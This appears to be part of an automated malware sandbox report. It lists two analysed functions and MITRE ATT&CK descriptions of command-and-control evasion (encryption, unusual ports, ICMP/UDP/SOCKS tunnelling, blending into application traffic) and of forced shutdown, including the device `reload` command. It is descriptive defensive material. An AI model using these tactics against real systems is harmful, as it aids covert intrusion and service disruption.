Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00404E88 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre